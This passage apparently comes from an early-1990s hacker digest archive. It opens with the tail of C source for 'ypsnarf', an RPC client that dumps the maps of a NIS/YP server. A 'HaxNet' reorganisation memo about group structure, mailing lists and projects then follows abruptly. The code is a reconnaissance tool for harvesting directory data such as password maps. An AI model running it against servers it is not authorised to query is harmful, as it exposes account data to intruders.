if it's there. */ signal(SIGALRM, timeout); alarm(YPSNARF_TIMEOUT1); errcode = callrpc(host, YPPROG, YPVERS, YPPROC_NULL, xdr_void, 0, xdr_void, 0); alarm(0); if (errcode != RPC_SUCCESS) print_rpc_err(errcode); #endif /* * Figure out whether server serves the yp domain we want. */ signal(SIGALRM, timeout); alarm(YPSNARF_TIMEOUT1); errcode = callrpc(server, YPPROG, YPVERS, YPPROC_DOMAIN, xdr_wrapstring, (caddr_t) &domain, xdr_bool, (caddr_t) &yesno); alarm(0); if (errcode != RPC_SUCCESS) print_rpc_err(errcode); /* * Nope... */ if (yesno == FALSE) { fprintf(stderr, "%s: %s does not serve domain %s.\n", pname, server, domain); exit(1); } /* * Now we just read entry after entry... The first entry we * get with a nokey request. */ keyreq.domain = nokeyreq.domain = domain; keyreq.map = nokeyreq.map = mapname; reqp = (caddr_t) &nokeyreq; keyreq.keydat.dptr = NULL; answer.status = TRUE; calltype = YPPROC_FIRST; xdr_proc = xdr_ypreq_nokey; while (answer.status == TRUE) { bzero((caddr_t) &answer, sizeof(struct ypresp_key_val)); signal(SIGALRM, timeout); alarm(YPSNARF_TIMEOUT2); errcode = callrpc(server, YPPROG, YPVERS, calltype, xdr_proc, reqp, xdr_ypresp_key_val, &answer); alarm(0); if (errcode != RPC_SUCCESS) print_rpc_err(errcode); /* * Got something; print it. */ if (answer.status == TRUE) { printf("%.*s\n", answer.valdat.dsize, answer.valdat.dptr); } /* * Now we're requesting the next item, so have to * send back the current key. */ calltype = YPPROC_NEXT; reqp = (caddr_t) &keyreq; xdr_proc = xdr_ypreq_key; if (keyreq.keydat.dptr) free(keyreq.keydat.dptr); keyreq.keydat = answer.keydat; if (answer.valdat.dptr) free(answer.valdat.dptr); } } /* * get_yp_maplist - get the yp map list for yp domain "domain" from server. */ get_yp_maplist(server, domain) char *server, *domain; { bool_t yesno; extern void timeout(); struct ypmaplist *mpl; enum clnt_stat errcode; struct ypresp_maplist maplist; /* * This code isn't needed; the next call will give the same * error message if there's no yp server there. */ #ifdef not_necessary /* * "Ping" the yp server and see if it's there. */ signal(SIGALRM, timeout); alarm(YPSNARF_TIMEOUT1); errcode = callrpc(host, YPPROG, YPVERS, YPPROC_NULL, xdr_void, 0, xdr_void, 0); alarm(0); if (errcode != RPC_SUCCESS) print_rpc_err(errcode); #endif /* * Figure out whether server serves the yp domain we want. */ signal(SIGALRM, timeout); alarm(YPSNARF_TIMEOUT1); errcode = callrpc(server, YPPROG, YPVERS, YPPROC_DOMAIN, xdr_wrapstring, (caddr_t) &domain, xdr_bool, (caddr_t) &yesno); alarm(0); if (errcode != RPC_SUCCESS) print_rpc_err(errcode); /* * Nope... */ if (yesno == FALSE) { fprintf(stderr, "%s: %s does not serve domain %s.\n", pname, server, domain); exit(1); } maplist.list = (struct ypmaplist *) NULL; /* * Now ask for the list. */ signal(SIGALRM, timeout); alarm(YPSNARF_TIMEOUT1); errcode = callrpc(server, YPPROG, YPVERS, YPPROC_MAPLIST, xdr_wrapstring, (caddr_t) &domain, xdr_ypresp_maplist, &maplist); alarm(0); if (errcode != RPC_SUCCESS) print_rpc_err(errcode); if (maplist.status != YP_TRUE) { fprintf(stderr, "%s: cannot get map list: %s\n", pname, yperr_string(ypprot_err(maplist.status))); exit(1); } /* * Print out the list. */ for (mpl = maplist.list; mpl != NULL; mpl = mpl->ypml_next) printf("%s\n", mpl->ypml_name); } /* * print_rpc_err - print an rpc error and exit. */ print_rpc_err(errcode) enum clnt_stat errcode; { fprintf(stderr, "%s: %s\n", pname, clnt_sperrno(errcode)); exit(1); } /* * timeout - print a timeout and exit. */ void timeout() { fprintf(stderr, "%s: RPC request (callrpc) timed out.\n", pname); exit(1); } ***************************************************************************** * DRAFT 4.0 * * Reorganisation Document #1 * * * * *SENSITIVE* * * *DO NOT DISTRIBUTE* * * * ***************************************************************************** * Late breaking news: * * We have 40 * * members in 7 countries (USA, Israel, Holland, France, Australia, * * Canada, and Switzerland). This represents a substantial boost to our * * tallent pool. All are very good and come with high recomemdations. * * PGP 2.2 has been released * * The author of the anon mail forwarder that was forced off the net by * * by NSF has promiced us a copy as soon as he cleans it up a little. * * this will support PGP also. - OK we got a copy, need sites to set it up * * on, any volunteers out there? * ***************************************************************************** SUMMARY: -------- You were added to the INFOHAX-D list, this is a discussion list for HaxNet that is open to both the hacking and security participants of the project. This is a MODERATED list! One of our first projects to tackle as a group (via this list) is reorganising the project, and it's policies. We want and value YOUR input. You will be receiving peices of a mega-document over time that breaks down what we are doing, what we'd like to do and includes summaries of your input for discussion with the group as a whole. We've changed. We're becomming a Global network. The Infohax digest will continue, but it will be open to security people also. We are spawning sister digests for special interest groups. We are also forming a hacker only digest/project, and a security only digest/project. You can *NOT* subscribe to both. access to these digests are restricted and handled on a person by person basis. Here's what it looks like: HaxNet: The "umbrella" organisation that coordinates and supports various digests, provides resources, and oversees the management of various projects. This is run by a coordinating group. Infohax: the flagship digest - open to sec and hack people for shared contributions. Infohax-d: the haxNet discussion group. Open to sec and hack people for shared discussions. (moderated) infohack: hacker only digest - sensitive info only. infosec: security only digest - sensitive info only, like the CORE list. info-lans: SIG digest devoted to LANS - our first "sister" digest. In adition we are setting up various groups with coordinators to handle specific aspects of the project. Some of these are: Coordinating grp.: oversees the project Support Grp.: responsable for resources (listserv, FTP, Gopher, etc) Research: access to info and DB's Analysis: massaging data Security: initial background checks, security leaks, encryption, etc. Publications: editing, tech writing, producing digests. Probably others, but enough for now. Based on your skills, resources, and interests you will be contacted by the appropriate coordinators and added to various grps. Some grps are closed based on your "trust" level, and hack/sec orientation. Much of your placement depends on how you filled out the questionaire, if you havn't filled this out please do so ASAP! Everyone who hasn't filled this out is classified as "untrusted" and restricted to the discussion list (perhaps the infohax digest too, but we havn't decided that yet). If you havn't sent in a PGP key we will NOT send you any project keys this means you will be unable to decrypt infohax when/if it is sent to you. INTRO: ------ This doc is being distributed to all members. The purpose of this doc is to determine the future direction(s) of Project Info-Hax (aka: HaxNet), it's purpose, policies and procedures, and how the project will function in the future. This project is too big for one person to run, so I try to coordinate it, and give pieces to a variety of people that I trust, and have demonstrated through their contributions and effort a commitment to the project. If you don't like a direction the project is going this is the place to voice your opinions and make changes. Likewise if you want the project to take on a new direction, this is the place to get it started. We also have had alot of resources offered. Things like FTP, Gopher, scan/ OCR, etc., enough to set up a very nice infrastructure in which to share information, and do research. We havn't gotten these off the ground yet (well, most of them), and need help doing so. I'd like all of you to provide some feedback on what's discussed below. At this moment nothing is written in stone, and I am more than open to changes. There are few things I'm not open to changing, among them (things I'm not willing to change) are the ideas of this project being a means of sharring information and a research network. I am also *NOT* willing to have the project engage in illegal activities. I'm looking for some *ACTIVE* responces to this document! I'd like: A) VOLUNTEERS - to take on pieces of the project. B) FEEDBACK - this is your project too!, so tell me what you want it to be like and we'll implement it. What I'm putting in this thing is the vision I have of the project, some possabilities, and suggestions I've received from others to date. Tell me what YOU want it to be, and if others agree, we'll do it! This has been dragging for too long, so I'm going to send it out in pieces. Some parts are finished, others not, and instead of overloading everyone with a mega-document, we'll do it in pieces over time. 2) Purpose and Projects: ------------------------- Why do we exist? what's our purpose? That's an open ended question, btw... Ok, this is my vision of it: (I'm looking for *FEEDBACK!* hint, hint...) buncha stuff added by others in preliminary discussions too... Purpose: share knowledge - preserve collective knowledge. establish and run a research network. network people with simmilar interests. provide a framework were people can persue special interests, within a support network. ie: the network is provided, people with simmilar interests are connected (perhaps safely/anonymously), and given tools and information that will allow them to persue their interests, and "publish" the results. Original Purpose: our original concept was to publish an exhaustive tutorial/encyclapedia on UNIX hacking/security holes, this evolved abit into becomming a publishing mill for hacker mags, however I now think that genneral distribution of our "product" isn't such a good idea - lotta irresponsable newbies out there... Presently I think we should remain a private group, with information restricted to the group (ok, some exceptions, but we'll deal with them as they come up) We also considered starting a school, this doesn't seem like such a hot idea due to the current legal atmosphere, but seminars, etc arn't out of the question. At pressent we are becomming a network, networking more people and resources - spawning sub-journals... Projects: Of cource we are going to continue Info-Hax, our "flagship" publication. We want to spawn sub journals and discussion lists, on hack/sec/crypto topics. We want to develope a support network to connect people (hack/sec), maintain information depositories, develope a "seamless" interface to all known h/s/c network resources (FTP, Gopher, etc), develope additional network resources for project use (DB's, news captures, archives of mailing lists, programs, etc.), index all h/s/c journals, develope global contacts in the hack/sec/crp communities, for support of technical problems, working together and opening technical communications (content), developing new methods and techniques, finding/patching holes, developing an exhaustive test suite of OS vulnerabilities, develope and maintain penetration/security tools, find sources for and index patches for vulnerabilities, umm, other things. I'm interested in what you guys think of the above, and what *YOU!* would like to see us doing... Some other things: I'd like to get a translation grp together to translate information from other languages (the cream). Also find/access mtrans progs/dicts. Develope groups of "tiger teams", willing to do penetration testing, and securing of holes as a public service. (and to give the hackers a legal means to persue their craft) Scan/OCR in interesting hardcopy papers. (the cream) Develope a safe and secure means for people to communicate (anon, encryption, anti-T/A) Develope a job clearing house for compusec work. What else can you people think of? Ok, it isn't going to happen overnight, but it can grow and evolve, we have ALOT of resources offered, and people willing to do things - you'd be surprised how far we could go if we distribute the load. Some principles: stay legal and out of trouble. open communication of a technical nature between hackers and the security community. hackers and security people working together. network GLOBALLY. old school ethics, anti-destructive hackers... pull together information, become known and respected over time (slowly!), become a "power". try to develope a friendly liason with sec community/gvmt agencies. keep a sence of humor - don't take ourseves too seriously... ============================================================================= OK, this is where you get to jump in, send me some feedback on what you think our direction and purpose should be. What projects would you like to see us working on, or would you like to do as part of the network? What do you think of what's been proposed? Anything we should persue vigerously? Anything we shouldn't do? Send your feedback to us and we'll summerise: (try to respond within 7 days, please) Feedback on this doc, and HaxNet in general: tangent@stormking.com (please put reorg-doc.01 on the Subject: line) ------------ Feedback on resources, sites, support ops: mark@stormking.com (please put support-ops on the Subject: line) ----------- Applications and PGP public keys: yo@stormking.com (please put PGP or apl on the Subject: line) --- ---